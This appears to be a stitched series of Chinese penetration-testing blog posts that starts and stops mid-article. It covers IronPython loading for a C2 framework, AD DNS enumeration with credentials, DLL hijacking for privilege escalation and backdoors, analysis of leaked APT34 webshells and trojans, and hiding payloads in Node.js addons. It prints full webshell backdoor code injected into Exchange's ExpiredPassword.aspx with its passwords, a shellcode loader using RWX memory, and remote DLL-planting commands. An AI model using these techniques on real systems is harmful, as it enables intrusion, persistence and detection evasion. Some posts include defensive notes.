0x04 C#利用IronPython调用Python的方法

需要使用IronPython,参考资料:

https://ironpython.net/

本节介绍一些基本用法,有助于进一步扩展SILENTTRINITY的功能。

1、常用的基本脚本

下载安装IronPython:

https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

开发工具: VS2015

新建C#工程,添加引用:

· IronPyhon

· Microsoft.Scripting

注:

编译后生成的exe在执行时需要以下依赖文件:

· IronPython.dll

· IronPython.Modules.dll(有的工程不需要)

· Microsoft.Dynamic.dll

· Microsoft.Scripting.dll

(1)简单的hello world程序,调用test.py,输出Hello World

code1:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.ExecuteFile("test.py");

        }
    }
}

test.py:

print("Hello World")

(2)向python脚本传参数并输出

code2:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();

            var scope = engine.CreateScope();

            scope.SetVariable("argv", "Hello World");

            engine.ExecuteFile("test.py",scope);
        }
    }
}

test.py:

print('%s'%argv)

(3)调用python脚本的main函数

code3:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            engine.ExecuteFile("test.py",scope);

            dynamic main = scope.GetVariable("main");

            main();

        }
    }
}

test.py:

def main():
        print("Hello World")
if __name__ == '__main__':
	main("")

(4)将python脚本的内容存储在变量中并执行

code4:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string script = "print('%s'%argv)";
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            scope.SetVariable("argv", "Hello World");
            var sourceCode = engine.CreateScriptSourceFromString(script);
            sourceCode.Execute(scope);
        }
    }
}

(5)python脚本支持第三方库

code5:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.SetSearchPaths(new[] { "Lib" });
            engine.ExecuteFile("test.py");
        }
    }
}

找到IronPython的安装路径,默认为C:\Program Files\IronPython 2.7。

将其中的Lib目录复制到编译生成的IronPythonTest.exe的同级目录下。

test.py:

import os
os.system("calc.exe")

2、使用ipyc将python脚本编译成exe

类似于py2exe的功能。

源码:https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

编译好的文件可从IronPython的目录中获得。

默认安装位置:

C:\Program Files\IronPython 2.7\ipyc.exe

0x05 防御检测

SILENTTRINITY的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用IronPython调用Python,这是一个完全正常的功能。

启动方式上利用了Windows系统本身自带的程序(例如msbuild.exe,powershell.exe,wmic.exe,也可以扩展成regsvr32.exe或rundll32.exe),较为隐蔽。

但SILENTTRINITY需要发起网络连接,传输stage.zip和Python脚本,所以如果程序调用了IronPython并发起了网络连接,极有可能是存在风险的行为。

0x06 小结

本文分析了SILENTTRINITY的实现细节,提出了一些扩展的思路,介绍了C#利用IronPython调用Python的方法,结合SILENTTRINITY的特征,给出防御检测的建议。

0x00 前言

在之前的文章《域渗透——DNS记录的获取》介绍了域渗透中获得DNS管理员权限后获取DNS记录的方法,而更普遍的情况是只有域普通用户的权限,也需要获得DNS记录。

本文将会参考公开的资料,整理域普通用户获得DNS记录的方法,修复dns-dump.ps1在高版本Windows系统下的bug。

0x01 简介

本文将要介绍以下内容:

· 实现原理

· 开源的工具和方法

0x02 实现原理

1.SharpAdidnsdump的实现原理

先通过LDAP查询获得域内计算机的名称,再通过DNS查询获得对应的IP。

详细实现细节可参考:

https://github.com/b4rtik/SharpAdidnsdump

测试环境: test.com

(1)通过LDAP查询获得域内计算机的名称

对应LDAP的查询参数如下:

LDAP://test.com/DC=test.com,CN=microsoftdns,DC=DomainDnsZones,DC=test,DC=com
(&(!(objectClass=DnsZone))(!([email protected]))(!(DC=*arpa))(!(DC=*DNSZones)))

(2)通过DNS查询获得域内计算机对应的IP

使用Dns.GetHostEntry方法,参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.net.dns.gethostentry?redirectedfrom=MSDN&view=netframework-3.5#System_Net_Dns_GetHostEntry_System_String_

2.dns-dump的实现原理

先通过LDAP查询获得DNS记录,对二进制的DNS记录进行解码,获得实际内容。

DNS记录解码的细节可参考:

https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1#L483

0x03 开源的工具和方法

测试环境:

· test.com

· Server2012 R2

1.先通过LDAP查询获得域内计算机的名称,再通过DNS查询获得对应的IP

(1)SharpAdidnsdump

https://github.com/b4rtik/SharpAdidnsdump

C#实现,用于查询DNS记录。

用法:

SharpAdidnsdump test.com

获得的结果完整,同dnscmd的结果一致

注:dnscmd的用法可以参考之前的文章《域渗透——DNS记录的获取》

(2)adidnsdump

https://github.com/dirkjanm/adidnsdump

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

Python实现,用于查询DNS记录。

适用于Linux,由于需要安装impacket,因此无法直接在Windows系统下使用。

安装方法:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install .
cd ..
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

需要先获得一个域用户的凭据(明文口令或NTLM hash)。

用法1.直接远程查询:

adidnsdump -u test\\testuser1 -p test123! dc.test.com -r

用法2.通过socks代理进行查询:

proxychains adidnsdump -u test\\testuser1 -p test123! dc.test.com -r --dns-tcp

注:还可以使用NTLM hash作为登录凭据。

2.先通过LDAP查询获得DNS记录,对二进制的DNS记录进行解码,获得实际内容

(1)dns-dump

https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1

Powershell实现,用于查询DNS记录。

这个powershell脚本较为古老,我在我的测试环境Server2008R2和Server2012R2下均失败。

经过分析,需要修改LDAP的查询语句,新的脚本已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1

用法:

Powershell -ep bypass -f dns-dump.ps1 -zone test.com

获得的结果完整,同dnscmd的结果一致。

(2)PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

也可用于查询DNS记录。

其中的Convert-DNSRecord可用来对二进制的DNS记录进行解码:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L1814

用法如下:

import-module PowerView.ps1
Get-DNSRecord -ZoneName test.com

3.其他工具

(1)AdFind

C++实现(未开源),用于查询域内信息。

http://www.joeware.net/freetools/tools/adfind/index.htm

常用命令如下:

列出域控制器名称:

AdFind -sc dclist

查询当前域中在线的计算机:

AdFind -sc computers_active

注:对应的LDAP查询条件如下:

Transformed Filter: (&(objectcategory=computer)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(pwdlastset>=131932198595370000)(|(!lastlogontimestamp=*)(&(lastlogontimestamp=*)(lastlogontimestamp>=131932198595370000))))

查询当前域中在线的计算机(只显示名称和操作系统):

AdFind -sc computers_active name operatingSystem

查询当前域中所有计算机:

AdFind -f "objectcategory=computer"

查询当前域中所有计算机(只显示名称和操作系统):

AdFind -f "objectcategory=computer" name operatingSystem

查询域内所有用户:

AdFind -users name

查询所有GPO:

AdFind -sc gpodmp

AdFind -gpo

注:查询GPO对应之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

0x04 小结

本文介绍了多种域普通用户获得DNS记录的方法,适用于不同的环境,在实际使用过程中,某些情况下AdFind的查询效率较低。

0x00 前言

《Lateral Movement — SCM and DLL Hijacking Primer》介绍了三个dll(wlbsctrl.dll、TSMSISrv.dll和TSVIPSrv.dll)可以通过SCM(Service Control Manager)实现远程执行。本文将要扩展这三个dll的用法,分别介绍提权和后门利用的方法。

0x01 简介

本文将要介绍以下内容:

· 利用wlbsctrl.dll实现的提权

· 利用TSMSISrv.dll和TSVIPSrv.dll实现的后门

· 利用MF.dll实现的后门

0x03 wlbsctrl.dll的利用

1、原文中的用法

IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll,但Windows系统默认配置下该dll不存在,如果我们将自己的dll放在这个位置,在服务启动时就能加载该dll

POC:https://github.com/djhohnstein/wlbsctrl_poc

测试系统: Win7 x64

这里使用的dll不需要指定导出函数,所以可以直接使用之前我的测试dll:

https://github.com/3gstudent/test/raw/master/calc_x64.dll

本地执行的用法: (需要管理员权限)

copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

远程执行的用法:

copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

2、利用wlbsctrl.dll实现的提权

POC:https://github.com/itm4n/Ikeext-Privesc

实现原理:

1. IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll,但并未指定绝对路径

注:程序在调用DLL时,如果未指明DLL的完整路径,那么系统会按照一套固定的搜索顺序寻找DLL。

如果SafeDllSearchMode开启,程序会依次从以下位置查找DLL文件:

· The directory from which the application loaded

· The system directory

· The 16-bit system directory

· The Windows directory

· The current directory

· The directories that are listed in the PATH environment variable

如果关闭,则从以下位置查找DLL文件:

· The directory from which the application loaded

· The current directory

· The system directory

· The 16-bit system directory

· The Windows directory

· The directories that are listed in the PATH environment variable

详细内容见:

https://msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx

2. Windows系统默认配置下不存在wlbsctrl.dll,如果我们能够找到满足条件的PATH环境变量(普通用户权限可写),就能实现dll劫持,加载我们自己的dll

3. 普通用户权限能够启动IKEEXT服务,方法如下:

生成文件rasphone.pbk:

[IKEEXT]
MEDIA=rastapi
Port=VPN2-0
Device=Wan Miniport (IKEv2)
DEVICE=vpn
PhoneNumber=127.0.0.1

命令行执行:

rasdial IKEEXT test test /PHONEBOOK:rasphone.pbk

注:这个漏洞很古老,早在2012年10月9日被公开

https://www.immuniweb.com/advisory/HTB23108

0x04 TSMSISrv.dll和TSVIPSrv.dll的利用

1、原文中的用法

SessionEnv(Remote Desktop Configuration)服务在启动时会加载C:\Windows\System32\TSMSISrv.dll和C:\Windows\System32\TSVIPSrv.dll,但Windows系统默认配置下这两个dll不存在,如果我们将自己的dll放在这个位置,在服务启动时就能加载该dll。

POC:https://github.com/djhohnstein/TSMSISrv_poc

测试系统: Win7 x64

POC添加了导出函数StartComponent、StopComponent、OnSessionChange和Refresh。

我的测试环境下dll不需要指定导出函数,所以可以直接使用之前我的测试dll:

https://github.com/3gstudent/test/raw/master/calc_x64.dll

本地执行的用法: (需要管理员权限)

copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

或者

copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

远程执行的用法:

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

或者

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

2、利用TSMSISrv.dll和TSVIPSrv.dll实现的后门

如果系统开启了远程桌面的功能(支持远程连接到此计算机),就会开启SessionEnv(Remote Desktop Configuration)服务。

如果我们在C:\Windows\System32\下写入TSMSISrv.dll或TSVIPSrv.dll,就能在服务启动时加载该dll,实现代码执行。

应用场景:

获得域控制器文件的远程访问权限,但无法远程执行命令。

解决方法:

1.如果域控制器未开启远程桌面的功能,在系统启动时劫持Explorer.exe对fxsst.dll的加载

写入文件C:\Windows\fxsst.dll

2.如果域控制器开启了远程桌面的功能,在系统启动时将开启SessionEnv服务,加载TSMSISrv.dll或TSVIPSrv.dll

写入文件C:\Windows\System32\TSMSISrv.dll或C:\Windows\System32\TSMSISrv.dll

3.如果域控制器开启了远程桌面的功能,在用户进行远程桌面连接时将会加载MF.dll

实际测试:

测试环境: Server2012R2 x64

写入文件C:\Windows\System32\MF.dll,命令如下:

copy calc_x64.dll C:\Windows\System32\MF.dll

等待用户连接远程桌面,连接成功后加载MF.dll,弹出计算器,如下图:

Alt text

0x05 小结

本文介绍了三个利用方法:利用wlbsctrl.dll实现的提权、利用TSMSISrv.dll/TSVIPSrv.dll实现的后门和利用MF.dll实现的后门,其中MF.dll可以用来解决获得域控制器文件的远程访问权限,但无法远程执行命令的问题。

0x00 前言

最近APT34的6款工具被泄露,本文作为分析文章的第二篇(第一篇文章回顾),仅在技术角度对其中的HighShell和HyperShell进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对HighShell的分析

· 对HyperShell的分析

· 小结

0x02 对HighShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HighShell。

其中的文件为HighShell.aspx,是针对Windows服务器的webshell。

默认访问页面如下图:

Alt text

Login框为红色,需要输入连接口令。

正确的口令为Th!sN0tF0rFAN。

输入正确的口令后,点击Do it,刷新页面,成功登录,如下图:

Alt text

Login框变为绿色。

该工具的公开线索:

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell同paloaltonetworks在文中提到的TwoFace的页面相同。

0x03 对HyperShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HyperShell。

下面包含7个文件夹:

· ExpiredPasswordTech

· HyperShell

· Image

· Libraries

· packages

· ShellLocal

· StableVersion

1.ExpiredPasswordTech

包括3个文件:

· error4.aspx,功能与HighShell.aspx相同,但登录口令未知

· ExpiredPassword.aspx,适用于Exchange的webshell

· MyMaster.aspx,生成字符串:NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多个文件,是各个webshell的源码文件。

其中包含另一个可用的webshell,相对路径:.\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

连接口令:MkRg5dm8MOk。

如下图:

Alt text

3.Image

图片文件夹。

4.Libraries

包含多个依赖文件。

5.packages

包含多个依赖文件。

6. ShellLocal

空文件夹。

7. StableVersion

稳定版本,包含多个webshell。

(1)ExpiredPassword.aspx

适用于Exchange的webshell。

相对路径:.\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

与相对路径.\Webshells_and_Panel\HyperShell\ExpiredPasswordTech下的文件内容相同。

ExpiredPassword.aspx是Exchange正常的功能,对应重置用户口令的页面,如下图:

Alt text

访问的URL:https://<domain>/owa/auth/ExpiredPassword.aspx

对应Windows绝对路径:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

该路径下的webshell默认权限为System

我的测试系统安装了Exchange2013,正常的ExpiredPassword.aspx源码我已经上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)

HyperShell中的ExpiredPassword.aspx是一个添加了后门代码的文件,同我测试环境的正常ExpiredPassword.aspx文件相比有多处不同,如下图:

Alt text

经过分析发现有可能是Exchange版本差异导致的,忽略版本差异,HyperShell中的ExpiredPassword.aspx主要添加了如下代码:

              <%
                    try{
                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "[email protected]#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
                    {
                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;
                        i.FileName = "cmd";
                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
                        i.UseShellExecute = false;
                        i.CreateNoWindow = true;
                        i.RedirectStandardOutput = true;
                        p.Start();
                        string r = p.StandardOutput.ReadToEnd();
                        p.WaitForExit();
                        p.Close();
                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
                        Response.End();
                    }}catch{}
                %>

对应到我的测试环境,也就是Exchange2013,添加payload后的代码已上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)(HyperShell)

使用方法如下图:

Alt text

New password项对应登录webshell的验证口令,验证通过后会执行Confirm new password项的内容,权限为System。

泄露的文件中未提到webshell的验证口令,为了验证该后门,我们修改代码去掉登录webshell的验证环节即可。

(2)HighShellLocal

功能强大的webshell。

相对路径:.\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解压到当前目录,相对路径为.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal,包括以下文件:

· 文件夹css

· 文件夹files

· 文件夹js

· HighShellLocal.aspx

实际使用时,还需要.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\下的bin文件夹,否则提示无法使用Json。

完整结构如下:

│ HighShellLocal.aspx │ ├───bin │ Newtonsoft.Json.dll │ ├───css │ │ main.css │ │ │ └───img │ box-zipper.png │ download-cloud.png │ exclamation-diamond.png │ heart-break.png │ heart-empty.png │ heart.png │ minus-button.png │ ├───files │ 7za.exe │ nbt.exe │ rx.exe │ └───js │ explorer.js │ main.js │ send.js │ utility.js │ ├───components │
├───jquery │
└───semantic

登录口令:Th!sN0tF0rFAN

登录页面如下图:

Alt text

输入正确的登录口令后,如下图:

Alt text

可以看到该webshell支持多个功能。

0x04 小结

本文对泄露文件中的HighShell和HyperShell进行了分析,其中HyperShell中的ExpiredPassword.aspx是一个比较隐蔽的webshell,目前为止我还未在公开资料中找到这种利用方法。

0x00 前言

最近APT34的6款工具被泄露,本文仅在技术角度对其中的PoisonFrog和Glimpse进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对PoisonFrog的分析

· 对Glimpse的分析

· 小结

0x02 对PoisonFrog的分析

对应泄露文件的名称为posion frog。

包括两部分文件:

· agent,包含文件poisonfrog.ps1,是通过powershell实现的木马程序

· server side,对应木马控制端,使用Node.js开发

一、agent实现的功能

1、在%public%\Public文件夹下释放三个文件

· dUpdater.ps1

· hUpdater.ps1

· UpdateTask.vbs

注:%public%\Public默认为隐藏文件夹。

释放文件的具体功能如下:

(1)dUpdater.ps1

1.生成一个当前系统的专有标志

2.读取当前系统的代理设置

3.通过HTTP协议从c2服务器下载文件

4.根据下载文件的内容进行下一步操作,包括执行命令,上传文件和下载文件

(2)hUpdater.ps1

1.生成一个当前计算机的专有标志

2.创建以下文件夹

· %public%\Public<id>

· %public%\Public<id>\reveivebox

· %public%\Public<id>\sendbox

· %public%\Public<id>\done

3.通过DNS A记录从c2服务器接收控制命令

4.执行命令并回传结果

(3)UpdateTask.vbs

内容如下:

command0 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\hUpdater.ps1"
set Shell0 = CreateObject("wscript.shell")
shell0.run command0, 0, false
command1 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\dUpdater.ps1"
set Shell1 = CreateObject("wscript.shell")
shell1.run command1, 0, false

用来加载powershell脚本dUpdater.ps1和hUpdater.ps1

2、创建两个计划任务

· 名称为\UpdateTasks\UpdateTask,每10分钟运行一次,以当前用户权限执行UpdateTask.vbs

· 名称为\UpdateTasks\UpdateTaskHosts,每10分钟运行一次,以System权限执行UpdateTask.vbs

二、 对server side的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件install_pachages.bat中。

index.js为主体程序。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

注:我在之前的文章《渗透测试中的Node.js——Downloader的实现》《渗透测试中的Node.js——利用C++插件隐藏真实代码》曾介绍过Node.js的使用,Node.js的基础知识可以参考这两篇文章。

使用Node.js实现server side有以下优点:

· 语法简单易懂

· 轻量又高效

· 可同时部署在Windows和Linux系统

三、该工具的公开线索

1.APT34曾利用CVE-2017-11882传播该木马,FireEye对样本进行过分析:

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

2.Palo Alto Networks将其命名为Early BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

0x03 对Glimpse的分析

对应泄露文件的名称为Glimpse。

包括四部分文件:

· Agent,包含四个文件dns.ps1、dns_main.ps1、refineddns_main.ps1和runner_.vbs

· panel,包含一个c#开发的界面程序,是界面化的木马控制端

· server,是Node.js开发的木马控制端

· Read me.txt,配置说明文档

一、agent实现的功能

dns.ps1、dns_main.ps1和refineddns_main.ps1三个文件的功能相同。

原始版本为dns_main.ps1

dns.ps1和refineddns_main.ps1只是变量名称替换成了无意义的混淆字符串。

dns_main.ps1的功能如下:

1.创建文件夹%public%\Libraries

注:%public%\Libraries默认为隐藏文件夹。

2.判断文件%public%\Libraries\lock是否存在

· 如果不存在,创建文件并写入当前powershell进程的pid

· 如果文件存在,读取文件创建时间,如果距离现在的时间超过10分钟,那么会退出进程并删除lock文件

3.生成一个当前系统的专有标志,写入文件%public%\Libraries\quid

4.创建以下文件夹

· %public%\Libraries\files

· %public%\Libraries<id>

· %public%\Libraries<id>\reveivebox

· %public%\Libraries<id>\sendbox

· %public%\Libraries<id>\done

5.通过DNS A记录或DNS TXT记录从c2服务器接收控制命令

6.执行命令并回传结果

二、 对server的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件Read me.txt中。

相比于PoisonFrog,Glimpse在代码结构上做了优化,并且添加了通过DNS TXT记录传输数据的功能。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

三、该工具的公开线索

1.Palo Alto Networks将其命名为Updated BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

0x04 小结

对于PoisonFrog和Glimpse,虽然这次泄露了工具源码,但它们早在2017年已经被捕获样本,也被分析的很清楚,个人认为该工具不存在被大规模滥用的隐患。而使用DNS协议传输数据也是一个很古老的方法,个人认为该工具不会导致恶意软件技术的升级。

0x00 前言

在之前的文章《渗透测试中的Node.js——Downloader的实现》开源了一个使用Node.js实现Downloader的代码,简要分析在渗透测试中的利用思路。

Node.js的语法简单易懂,所以Node.js代码也很容易被分析。

为了增加Node.js代码被分析的难度,我的思路是利用Node.js的一个功能,将payload以C++插件的形式进行封装。

这样不但能够增加Node.js代码被分析的难度,而且可以用C++代码来实现payload,已有的C++代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介

本文将要介绍以下内容:

· C++插件简介

· 搭建C++插件的开发环境

· C++插件代码实例

· 利用思路

· 防御建议

0x02 C++插件简介

Node.js C++插件是用C++编写的动态链接库,可以使用require()函数加载到Node.js中。利用V8提供的API,可以实现JavaScript和C++的互相调用,打通JavaScript和C++之间的接口。

官方文档:

https://nodejs.org/api/addons.html

使用实例:

1.编译成功一个C++插件,导出方法为:hello

2.使用Node.js调用C++插件导出方法的代码如下:

const addon = require('./addon.node');
addon.hello();

3.执行代码

node.exe test.js

0x03 搭建C++插件的开发环境

1、Windows开发环境

测试系统:Win7sp1 x64

需要安装以下工具:

· .NET Framework 4.5.1或更高版本

· Python 2.7

· Visual Studio 2015或更高版本

具体搭建流程如下:

1.安装.NET Framework 4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2.下载Node.js

https://nodejs.org/en/download/

3.使用Windows-Build-Tools自动安装依赖工具

https://github.com/felixrieseberg/windows-build-tools

cd c:\
powershell
npm install --global windows-build-tools

如果安装失败,可选择手动安装以下工具:

· Python 2.7

· Visual Studio 2015或更高版本

4.安装node-gyp

https://github.com/nodejs/node-gyp

npm install -g node-gyp

2、Linux开发环境

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz
tar xf node-v10.15.3-linux-x64.tar.xz
cd node-v10.15.3-linux-x64
cd bin
export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH
./npm install -g node-gyp

注:需要添加环境变量指定node的位置(export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH),否则在执行npm install会失败,提示/usr/bin/env: ‘node’: No such file or directory

实例演示:

1.hello.cc:

#include <node.h>
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::NewStringType;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  args.GetReturnValue().Set(String::NewFromUtf8(
      isolate, "world", NewStringType::kNormal).ToLocalChecked());
}

void Initialize(Local<Object> exports) {
  NODE_SET_METHOD(exports, "hello", Method);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)

}  // namespace demo

2.binding.gyp

{
  "targets": [
    {
      "target_name": "addon",
      "sources": [ "hello.cc" ]
    }
  ]
}

3.通过node-gyp编译,生成插件

node-gyp configure
node-gyp build

注:可以合并成一条命令:

node-gyp configure build

Node.js支持交叉编译,具体参数说明可参考:

https://www.npmjs.com/package/node-pre-gyp

Linux系统下生成Windows64位系统下使用的插件命令如下:

node-gyp configure build --target_arch=x64 --target_platform=win32

0x04 C++插件代码实例

在开发时,最好避免出现if这种的条件判断语句,直接使用会导致编译错误。

1. 释放文件

#include <node.h>
#include <stdio.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		FILE* fp;
		fopen_s(&fp, "new.txt", "ab+");
		char *buf = "123456";
		fwrite(buf, strlen(buf), 1, fp);
		fseek(fp, 0, SEEK_END);
		fclose(fp);
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

2. 执行命令:

#include <node.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		system("powershell start calc.exe");
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

3.执行shellcode

生成shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

加载shellcode并执行:

#include <node.h>
#include <Windows.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
			"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
			"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
			"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
			"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
			"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
			"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
			"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
			"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
			"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
			"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
			"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
			"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
			"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
			"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
			"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
			"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
			"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
			"\x63\x2e\x65\x78\x65\x00";
		void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(sc, shellcode, sizeof(shellcode));
		(*(int(*)()) sc)();

	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

编译好的插件已上传至github,地址如下:

https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为hello,调用方式如下:

const addon = require('./addon.node');
addon.hello();

0x05 利用思路

1、被第三方可信程序加载

参考:https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

main.js与addon.node放在同级目录,main.js的内容如下:

const addon = require('./addon.node');
addon.hello();

